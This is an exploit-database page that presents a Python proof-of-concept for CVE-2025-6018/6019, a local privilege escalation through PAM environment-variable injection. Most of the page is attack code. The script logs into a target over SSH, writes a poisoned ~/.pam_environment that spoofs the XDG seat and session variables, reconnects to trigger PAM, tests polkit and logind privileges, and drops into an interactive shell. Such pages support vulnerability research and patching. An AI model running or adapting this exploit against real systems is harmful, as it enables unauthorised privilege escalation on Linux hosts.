Linux PAM Environment – Variable Injection Local Privilege Escalation

Exploit Details

Basic Information

Exploit Title Linux PAM Environment – Variable Injection Local Privilege Escalation
Exploit ID EDB-ID:52386
Type exploitdb
Published 2025-07-28T00:00:00
Modified 2025-07-28T00:00:00

CVSS Information

CVSS Score 7.8
Severity HIGH
Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE Information

  • CVE-2025-6018
  • CVE-2025-6019

Exploit Description

Exploit Title: Linux PAM Environment -…

Exploit Code

# Exploit Title: Linux PAM Environment – Variable Injection Local Privilege Escalation

# Exploit Author: @İbrahimsql

# Exploit Author’s github: https://github.com/ibrahmsql

# Description: PAM pam_env.so module allows environment variable injection via ~/.pam_environment

# leading to privilege escalation through SystemD session manipulation

# CVE: CVE-2025-6018, CVE-2025-6019

# Vendor Homepage: https://github.com/linux-pam/linux-pam

# Software Link: https://github.com/linux-pam/linux-pam/releases

# Version: PAM 1.3.0 – 1.6.0 (vulnerable versions)

# Category: Local Privilege Escalation

# Requirements: paramiko>=2.12.0

# Usage: python3 cve_2025_6018_professional.py -i target_ip -u username -p password

# References:

# – https://access.redhat.com/security/cve/CVE-2025-6018

# – https://bugzilla.redhat.com/show_bug.cgi?id=2372693

# – https://bugzilla.suse.com/show_bug.cgi?id=1243226

import paramiko

import time

import sys

import socket

import argparse

import logging

from datetime import datetime

# Setup logging

logging.basicConfig(

level=logging.INFO,

format=’%(asctime)s [%(levelname)s] %(message)s’,

datefmt=’%Y-%m-%d %H:%M:%S’,

handlers=[

logging.FileHandler(‘cve_2025_6018_exploit.log’),

logging.StreamHandler(sys.stdout)

]

)

logger = logging.getLogger(__name__)

class CVEExploit:

def __init__(self):

self.vulnerable_versions = [

“pam-1.3.0”, “pam-1.3.1”, “pam-1.4.0”, “pam-1.5.0”,

“pam-1.5.1”, “pam-1.5.2”, “pam-1.5.3”, “pam-1.6.0”

]

def check_vulnerability(self, client):

“””Enhanced vulnerability detection”””

logger.info(“Starting vulnerability assessment”)

checks = {

“pam_version”: “rpm -q pam || dpkg -l | grep libpam”,

“pam_env”: “find /etc/pam.d/ -name ‘*’ -exec grep -l ‘pam_env’ {} \\; 2>/dev/null”,

“pam_systemd”: “find /etc/pam.d/ -name ‘*’ -exec grep -l ‘pam_systemd’ {} \\; 2>/dev/null”,

“systemd_version”: “systemctl –version | head -1”

}

vulnerable = False

for check_name, command in checks.items():

logger.info(f”Executing check: {check_name}”)

try:

stdin, stdout, stderr = client.exec_command(command, timeout=10)

output = stdout.read().decode().strip()

if check_name == “pam_version”:

for vuln_ver in self.vulnerable_versions:

if vuln_ver in output:

logger.info(f”Vulnerable PAM version detected: {vuln_ver}”)

vulnerable = True

break

elif check_name == “pam_env” and output:

logger.info(“pam_env.so configuration found”)

vulnerable = True

elif check_name == “pam_systemd” and output:

logger.info(“pam_systemd.so found – escalation vector available”)

if output and check_name != “pam_version”:

logger.debug(f”Command output: {output[:100]}…”)

except Exception as e:

logger.warning(f”Check {check_name} failed: {e}”)

time.sleep(0.5)

return vulnerable

def create_malicious_environment(self, client):

“””Create enhanced .pam_environment file”””

logger.info(“Creating malicious environment file”)

payload = ”’# CVE-2025-6018 Environment Poisoning

XDG_SEAT OVERRIDE=seat0

XDG_VTNR OVERRIDE=1

XDG_SESSION_TYPE OVERRIDE=x11

XDG_SESSION_CLASS OVERRIDE=user

XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime

SYSTEMD_LOG_LEVEL OVERRIDE=debug”’

try:

logger.info(“Writing .pam_environment file”)

cmd = f”cat > ~/.pam_environment << 'EOF'\n{payload}\nEOF"
stdin, stdout, stderr = client.exec_command(cmd)

# Verify creation

stdin, stdout, stderr = client.exec_command(“cat ~/.pam_environment”)

output = stdout.read().decode()

if “OVERRIDE” in output:

logger.info(“Malicious environment file created successfully”)

return True

else:

logger.error(“Failed to create environment file”)

return False

except Exception as e:

logger.error(f”Environment poisoning failed: {e}”)

return False

def test_privilege_escalation(self, client):

“””Test privilege escalation vectors”””

logger.info(“Testing privilege escalation vectors”)

tests = [

(“SystemD Reboot”, “gdbus call –system –dest org.freedesktop.login1 –object-path /org/freedesktop/login1 –method org.freedesktop.login1.Manager.CanReboot”, “yes”),

(“SystemD Shutdown”, “gdbus call –system –dest org.freedesktop.login1 –object-path /org/freedesktop/login1 –method org.freedesktop.login1.Manager.CanPowerOff”, “yes”),

(“PolicyKit Check”, “pkcheck –action-id org.freedesktop.policykit.exec –process $$ 2>/dev/null || echo ‘denied'”, “authorized”)

]

escalated = False

for test_name, command, success_indicator in tests:

logger.info(f”Testing: {test_name}”)

try:

stdin, stdout, stderr = client.exec_command(command, timeout=10)

output = stdout.read().decode().strip()

if success_indicator in output.lower():

logger.info(f”PRIVILEGE ESCALATION DETECTED: {test_name}”)

escalated = True

else:

logger.info(f”No escalation detected: {test_name}”)

except Exception as e:

logger.warning(f”Test {test_name} failed: {e}”)

return escalated

def interactive_shell(self, client):

“””Professional interactive shell”””

logger.info(“Starting interactive shell session”)

shell = client.invoke_shell()

shell.send(“export PS1=’exploit$ ‘\n”)

time.sleep(1)

# Clear buffer

while shell.recv_ready():

shell.recv(1024)

print(“\n— Interactive Shell —“)

print(“Commands: ‘exit’ to quit, ‘status’ for privilege check”)

while True:

try:

command = input(“exploit$ “)

if command.lower() == ‘exit’:

break

elif command.lower() == ‘status’:

stdin, stdout, stderr = client.exec_command(“id && groups”)

print(stdout.read().decode())

continue

shell.send(command + “\n”)

time.sleep(0.5)

while shell.recv_ready():

output = shell.recv(1024).decode(‘utf-8′, errors=’ignore’)

print(output, end=”)

except KeyboardInterrupt:

logger.warning(“Use ‘exit’ to quit properly”)

except Exception as e:

logger.error(f”Shell error: {e}”)

break

def run_exploit(self, hostname, username, password=None, key_filename=None, port=22):

“””Main exploit execution”””

logger.info(f”Starting CVE-2025-6018 exploit against {hostname}:{port}”)

try:

# Initial connection

client = paramiko.SSHClient()

client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

logger.info(f”Connecting to {hostname}:{port} as {username}”)

client.connect(hostname, port=port, username=username,

password=password, key_filename=key_filename, timeout=10)

logger.info(“SSH connection established”)

# Check vulnerability

if not self.check_vulnerability(client):

logger.error(“Target does not appear vulnerable to CVE-2025-6018/6019”)

return False

logger.info(“Target appears vulnerable, proceeding with exploitation”)

# Create malicious environment

if not self.create_malicious_environment(client):

logger.error(“Failed to create malicious environment”)

return False

logger.info(“Reconnecting to trigger PAM environment loading”)

client.close()

time.sleep(2)

# Reconnect to trigger PAM

client = paramiko.SSHClient()

client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

client.connect(hostname, port=port, username=username,

password=password, key_filename=key_filename)

logger.info(“Reconnection successful”)

# Test privilege escalation

if self.test_privilege_escalation(client):

logger.info(“EXPLOITATION SUCCESSFUL – Privilege escalation confirmed”)

self.interactive_shell(client)

else:

logger.warning(“No clear privilege escalation detected”)

logger.info(“Manual verification may be required”)

return True

except paramiko.AuthenticationException:

logger.error(“Authentication failed – check credentials”)

except paramiko.SSHException as e:

logger.error(f”SSH error: {e}”)

except socket.error as e:

logger.error(f”Network error: {e}”)

except Exception as e:

logger.error(f”Unexpected error: {e}”)

finally:

try:

client.close()

except:

pass

logger.info(“Connection closed”)

return False

def main():

parser = argparse.ArgumentParser(

description=”CVE-2025-6018/6019 PAM Environment Injection Exploit”,

formatter_class=argparse.RawDescriptionHelpFormatter,

epilog=”””

Examples:

python3 %(prog)s -i 192.168.1.100 -u testuser -p password123

python3 %(prog)s -i target.com -u admin -k ~/.ssh/id_rsa

“””

)

parser.add_argument(“-i”, “–hostname”, required=True, help=”Target hostname or IP”)

parser.add_argument(“-u”, “–username”, required=True, help=”SSH username”)

parser.add_argument(“-p”, “–password”, help=”SSH password”)

parser.add_argument(“-k”, “–key”, dest=”key_filename”, help=”SSH private key file”)

parser.add_argument(“–port”, type=int, default=22, help=”SSH port (default: 22)”)

parser.add_argument(“-v”, “–verbose”, action=”store_true”, help=”Enable verbose logging”)

args = parser.parse_args()

if args.verbose:

logging.getLogger().setLevel(logging.DEBUG)

if not args.password and not args.key_filename:

parser.error(“Provide either password (-p) or private key (-k)”)

# Security warning

logger.warning(“Use only with proper authorization!”)

exploit = CVEExploit()

success = exploit.run_exploit(

hostname=args.hostname,

username=args.username,

password=args.password,

key_filename=args.key_filename,

port=args.port

)

sys.exit(0 if success else 1)

if __name__ == “__main__”:

main()

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.